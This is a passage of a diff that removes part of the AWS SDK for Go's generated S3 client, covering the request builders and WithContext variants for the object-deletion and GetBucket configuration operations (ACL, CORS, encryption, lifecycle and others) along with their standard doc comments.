handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteObjectRequest method. -// req, resp := client.DeleteObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObject -func (c *S3) DeleteObjectRequest(input *DeleteObjectInput) (req *request.Request, output *DeleteObjectOutput) { - op := &request.Operation{ - Name: opDeleteObject, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &DeleteObjectInput{} - } - - output = &DeleteObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// DeleteObject API operation for Amazon Simple Storage Service. -// -// Removes the null version (if there is one) of an object and inserts a delete -// marker, which becomes the latest version of the object. If there isn't a -// null version, Amazon S3 does not remove any objects. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteObject for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObject -func (c *S3) DeleteObject(input *DeleteObjectInput) (*DeleteObjectOutput, error) { - req, out := c.DeleteObjectRequest(input) - return out, req.Send() -} - -// DeleteObjectWithContext is the same as DeleteObject with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteObjectWithContext(ctx aws.Context, input *DeleteObjectInput, opts ...request.Option) (*DeleteObjectOutput, error) { - req, out := c.DeleteObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteObjectTagging = "DeleteObjectTagging" - -// DeleteObjectTaggingRequest generates a "aws/request.Request" representing the -// client's request for the DeleteObjectTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteObjectTagging for more information on using the DeleteObjectTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteObjectTaggingRequest method. -// req, resp := client.DeleteObjectTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjectTagging -func (c *S3) DeleteObjectTaggingRequest(input *DeleteObjectTaggingInput) (req *request.Request, output *DeleteObjectTaggingOutput) { - op := &request.Operation{ - Name: opDeleteObjectTagging, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}/{Key+}?tagging", - } - - if input == nil { - input = &DeleteObjectTaggingInput{} - } - - output = &DeleteObjectTaggingOutput{} - req = c.newRequest(op, input, output) - return -} - -// DeleteObjectTagging API operation for Amazon Simple Storage Service. -// -// Removes the tag-set from an existing object. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteObjectTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjectTagging -func (c *S3) DeleteObjectTagging(input *DeleteObjectTaggingInput) (*DeleteObjectTaggingOutput, error) { - req, out := c.DeleteObjectTaggingRequest(input) - return out, req.Send() -} - -// DeleteObjectTaggingWithContext is the same as DeleteObjectTagging with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteObjectTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteObjectTaggingWithContext(ctx aws.Context, input *DeleteObjectTaggingInput, opts ...request.Option) (*DeleteObjectTaggingOutput, error) { - req, out := c.DeleteObjectTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteObjects = "DeleteObjects" - -// DeleteObjectsRequest generates a "aws/request.Request" representing the -// client's request for the DeleteObjects operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteObjects for more information on using the DeleteObjects -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteObjectsRequest method. -// req, resp := client.DeleteObjectsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjects -func (c *S3) DeleteObjectsRequest(input *DeleteObjectsInput) (req *request.Request, output *DeleteObjectsOutput) { - op := &request.Operation{ - Name: opDeleteObjects, - HTTPMethod: "POST", - HTTPPath: "/{Bucket}?delete", - } - - if input == nil { - input = &DeleteObjectsInput{} - } - - output = &DeleteObjectsOutput{} - req = c.newRequest(op, input, output) - return -} - -// DeleteObjects API operation for Amazon Simple Storage Service. -// -// This operation enables you to delete multiple objects from a bucket using -// a single HTTP request. You may specify up to 1000 keys. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteObjects for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjects -func (c *S3) DeleteObjects(input *DeleteObjectsInput) (*DeleteObjectsOutput, error) { - req, out := c.DeleteObjectsRequest(input) - return out, req.Send() -} - -// DeleteObjectsWithContext is the same as DeleteObjects with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteObjects for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteObjectsWithContext(ctx aws.Context, input *DeleteObjectsInput, opts ...request.Option) (*DeleteObjectsOutput, error) { - req, out := c.DeleteObjectsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeletePublicAccessBlock = "DeletePublicAccessBlock" - -// DeletePublicAccessBlockRequest generates a "aws/request.Request" representing the -// client's request for the DeletePublicAccessBlock operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeletePublicAccessBlock for more information on using the DeletePublicAccessBlock -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeletePublicAccessBlockRequest method. -// req, resp := client.DeletePublicAccessBlockRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeletePublicAccessBlock -func (c *S3) DeletePublicAccessBlockRequest(input *DeletePublicAccessBlockInput) (req *request.Request, output *DeletePublicAccessBlockOutput) { - op := &request.Operation{ - Name: opDeletePublicAccessBlock, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?publicAccessBlock", - } - - if input == nil { - input = &DeletePublicAccessBlockInput{} - } - - output = &DeletePublicAccessBlockOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeletePublicAccessBlock API operation for Amazon Simple Storage Service. -// -// Removes the PublicAccessBlock configuration from an Amazon S3 bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeletePublicAccessBlock for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeletePublicAccessBlock -func (c *S3) DeletePublicAccessBlock(input *DeletePublicAccessBlockInput) (*DeletePublicAccessBlockOutput, error) { - req, out := c.DeletePublicAccessBlockRequest(input) - return out, req.Send() -} - -// DeletePublicAccessBlockWithContext is the same as DeletePublicAccessBlock with the addition of -// the ability to pass a context and additional request options. -// -// See DeletePublicAccessBlock for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeletePublicAccessBlockWithContext(ctx aws.Context, input *DeletePublicAccessBlockInput, opts ...request.Option) (*DeletePublicAccessBlockOutput, error) { - req, out := c.DeletePublicAccessBlockRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketAccelerateConfiguration = "GetBucketAccelerateConfiguration" - -// GetBucketAccelerateConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketAccelerateConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketAccelerateConfiguration for more information on using the GetBucketAccelerateConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketAccelerateConfigurationRequest method. -// req, resp := client.GetBucketAccelerateConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAccelerateConfiguration -func (c *S3) GetBucketAccelerateConfigurationRequest(input *GetBucketAccelerateConfigurationInput) (req *request.Request, output *GetBucketAccelerateConfigurationOutput) { - op := &request.Operation{ - Name: opGetBucketAccelerateConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?accelerate", - } - - if input == nil { - input = &GetBucketAccelerateConfigurationInput{} - } - - output = &GetBucketAccelerateConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketAccelerateConfiguration API operation for Amazon Simple Storage Service. -// -// Returns the accelerate configuration of a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketAccelerateConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAccelerateConfiguration -func (c *S3) GetBucketAccelerateConfiguration(input *GetBucketAccelerateConfigurationInput) (*GetBucketAccelerateConfigurationOutput, error) { - req, out := c.GetBucketAccelerateConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketAccelerateConfigurationWithContext is the same as GetBucketAccelerateConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketAccelerateConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketAccelerateConfigurationWithContext(ctx aws.Context, input *GetBucketAccelerateConfigurationInput, opts ...request.Option) (*GetBucketAccelerateConfigurationOutput, error) { - req, out := c.GetBucketAccelerateConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketAcl = "GetBucketAcl" - -// GetBucketAclRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketAcl operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketAcl for more information on using the GetBucketAcl -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketAclRequest method. -// req, resp := client.GetBucketAclRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAcl -func (c *S3) GetBucketAclRequest(input *GetBucketAclInput) (req *request.Request, output *GetBucketAclOutput) { - op := &request.Operation{ - Name: opGetBucketAcl, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?acl", - } - - if input == nil { - input = &GetBucketAclInput{} - } - - output = &GetBucketAclOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketAcl API operation for Amazon Simple Storage Service. -// -// Gets the access control policy for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketAcl for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAcl -func (c *S3) GetBucketAcl(input *GetBucketAclInput) (*GetBucketAclOutput, error) { - req, out := c.GetBucketAclRequest(input) - return out, req.Send() -} - -// GetBucketAclWithContext is the same as GetBucketAcl with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketAcl for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketAclWithContext(ctx aws.Context, input *GetBucketAclInput, opts ...request.Option) (*GetBucketAclOutput, error) { - req, out := c.GetBucketAclRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketAnalyticsConfiguration = "GetBucketAnalyticsConfiguration" - -// GetBucketAnalyticsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketAnalyticsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketAnalyticsConfiguration for more information on using the GetBucketAnalyticsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketAnalyticsConfigurationRequest method. -// req, resp := client.GetBucketAnalyticsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAnalyticsConfiguration -func (c *S3) GetBucketAnalyticsConfigurationRequest(input *GetBucketAnalyticsConfigurationInput) (req *request.Request, output *GetBucketAnalyticsConfigurationOutput) { - op := &request.Operation{ - Name: opGetBucketAnalyticsConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?analytics", - } - - if input == nil { - input = &GetBucketAnalyticsConfigurationInput{} - } - - output = &GetBucketAnalyticsConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketAnalyticsConfiguration API operation for Amazon Simple Storage Service. -// -// Gets an analytics configuration for the bucket (specified by the analytics -// configuration ID). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketAnalyticsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAnalyticsConfiguration -func (c *S3) GetBucketAnalyticsConfiguration(input *GetBucketAnalyticsConfigurationInput) (*GetBucketAnalyticsConfigurationOutput, error) { - req, out := c.GetBucketAnalyticsConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketAnalyticsConfigurationWithContext is the same as GetBucketAnalyticsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketAnalyticsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketAnalyticsConfigurationWithContext(ctx aws.Context, input *GetBucketAnalyticsConfigurationInput, opts ...request.Option) (*GetBucketAnalyticsConfigurationOutput, error) { - req, out := c.GetBucketAnalyticsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketCors = "GetBucketCors" - -// GetBucketCorsRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketCors operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketCors for more information on using the GetBucketCors -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketCorsRequest method. -// req, resp := client.GetBucketCorsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketCors -func (c *S3) GetBucketCorsRequest(input *GetBucketCorsInput) (req *request.Request, output *GetBucketCorsOutput) { - op := &request.Operation{ - Name: opGetBucketCors, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?cors", - } - - if input == nil { - input = &GetBucketCorsInput{} - } - - output = &GetBucketCorsOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketCors API operation for Amazon Simple Storage Service. -// -// Returns the CORS configuration for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketCors for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketCors -func (c *S3) GetBucketCors(input *GetBucketCorsInput) (*GetBucketCorsOutput, error) { - req, out := c.GetBucketCorsRequest(input) - return out, req.Send() -} - -// GetBucketCorsWithContext is the same as GetBucketCors with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketCors for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketCorsWithContext(ctx aws.Context, input *GetBucketCorsInput, opts ...request.Option) (*GetBucketCorsOutput, error) { - req, out := c.GetBucketCorsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketEncryption = "GetBucketEncryption" - -// GetBucketEncryptionRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketEncryption operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketEncryption for more information on using the GetBucketEncryption -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketEncryptionRequest method. -// req, resp := client.GetBucketEncryptionRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketEncryption -func (c *S3) GetBucketEncryptionRequest(input *GetBucketEncryptionInput) (req *request.Request, output *GetBucketEncryptionOutput) { - op := &request.Operation{ - Name: opGetBucketEncryption, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?encryption", - } - - if input == nil { - input = &GetBucketEncryptionInput{} - } - - output = &GetBucketEncryptionOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketEncryption API operation for Amazon Simple Storage Service. -// -// Returns the server-side encryption configuration of a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketEncryption for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketEncryption -func (c *S3) GetBucketEncryption(input *GetBucketEncryptionInput) (*GetBucketEncryptionOutput, error) { - req, out := c.GetBucketEncryptionRequest(input) - return out, req.Send() -} - -// GetBucketEncryptionWithContext is the same as GetBucketEncryption with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketEncryption for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketEncryptionWithContext(ctx aws.Context, input *GetBucketEncryptionInput, opts ...request.Option) (*GetBucketEncryptionOutput, error) { - req, out := c.GetBucketEncryptionRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketInventoryConfiguration = "GetBucketInventoryConfiguration" - -// GetBucketInventoryConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketInventoryConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketInventoryConfiguration for more information on using the GetBucketInventoryConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketInventoryConfigurationRequest method. -// req, resp := client.GetBucketInventoryConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketInventoryConfiguration -func (c *S3) GetBucketInventoryConfigurationRequest(input *GetBucketInventoryConfigurationInput) (req *request.Request, output *GetBucketInventoryConfigurationOutput) { - op := &request.Operation{ - Name: opGetBucketInventoryConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?inventory", - } - - if input == nil { - input = &GetBucketInventoryConfigurationInput{} - } - - output = &GetBucketInventoryConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketInventoryConfiguration API operation for Amazon Simple Storage Service. -// -// Returns an inventory configuration (identified by the inventory ID) from -// the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketInventoryConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketInventoryConfiguration -func (c *S3) GetBucketInventoryConfiguration(input *GetBucketInventoryConfigurationInput) (*GetBucketInventoryConfigurationOutput, error) { - req, out := c.GetBucketInventoryConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketInventoryConfigurationWithContext is the same as GetBucketInventoryConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketInventoryConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketInventoryConfigurationWithContext(ctx aws.Context, input *GetBucketInventoryConfigurationInput, opts ...request.Option) (*GetBucketInventoryConfigurationOutput, error) { - req, out := c.GetBucketInventoryConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketLifecycle = "GetBucketLifecycle" - -// GetBucketLifecycleRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketLifecycle operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketLifecycle for more information on using the GetBucketLifecycle -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketLifecycleRequest method. -// req, resp := client.GetBucketLifecycleRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycle -// -// Deprecated: GetBucketLifecycle has been deprecated -func (c *S3) GetBucketLifecycleRequest(input *GetBucketLifecycleInput) (req *request.Request, output *GetBucketLifecycleOutput) { - if c.Client.Config.Logger != nil { - c.Client.Config.Logger.Log("This operation, GetBucketLifecycle, has been deprecated") - } - op := &request.Operation{ - Name: opGetBucketLifecycle, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?lifecycle", - } - - if input == nil { - input = &GetBucketLifecycleInput{} - } - - output = &GetBucketLifecycleOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketLifecycle API operation for Amazon Simple Storage Service. -// -// No longer used, see the GetBucketLifecycleConfiguration operation. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketLifecycle for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycle -// -// Deprecated: GetBucketLifecycle has been deprecated -func (c *S3) GetBucketLifecycle(input *GetBucketLifecycleInput) (*GetBucketLifecycleOutput, error) { - req, out := c.GetBucketLifecycleRequest(input) - return out, req.Send() -} - -// GetBucketLifecycleWithContext is the same as GetBucketLifecycle with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketLifecycle for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -// -// Deprecated: GetBucketLifecycleWithContext has been deprecated -func (c *S3) GetBucketLifecycleWithContext(ctx aws.Context, input *GetBucketLifecycleInput, opts ...request.Option) (*GetBucketLifecycleOutput, error) { - req, out := c.GetBucketLifecycleRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketLifecycleConfiguration = "GetBucketLifecycleConfiguration" - -// GetBucketLifecycleConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketLifecycleConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketLifecycleConfiguration for more information on using the GetBucketLifecycleConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketLifecycleConfigurationRequest method. -// req, resp := client.GetBucketLifecycleConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycleConfiguration -func (c *S3) GetBucketLifecycleConfigurationRequest(input *GetBucketLifecycleConfigurationInput) (req *request.Request, output *GetBucketLifecycleConfigurationOutput) { - op := &request.Operation{ - Name: opGetBucketLifecycleConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?lifecycle", - } - - if input == nil { - input = &GetBucketLifecycleConfigurationInput{} - } - - output = &GetBucketLifecycleConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketLifecycleConfiguration API operation for Amazon Simple Storage Service. -// -// Returns the lifecycle configuration information set on the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketLifecycleConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycleConfiguration -func (c *S3) GetBucketLifecycleConfiguration(input *GetBucketLifecycleConfigurationInput) (*GetBucketLifecycleConfigurationOutput, error) { - req, out := c.GetBucketLifecycleConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketLifecycleConfigurationWithContext is the same as GetBucketLifecycleConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketLifecycleConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketLifecycleConfigurationWithContext(ctx aws.Context, input *GetBucketLifecycleConfigurationInput, opts ...request.Option) (*GetBucketLifecycleConfigurationOutput, error) { - req, out := c.GetBucketLifecycleConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketLocation = "GetBucketLocation" - -// GetBucketLocationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketLocation operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketLocation for more information on using the GetBucketLocation -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketLocationRequest method. -// req, resp := client.GetBucketLocationRequest(params) -// 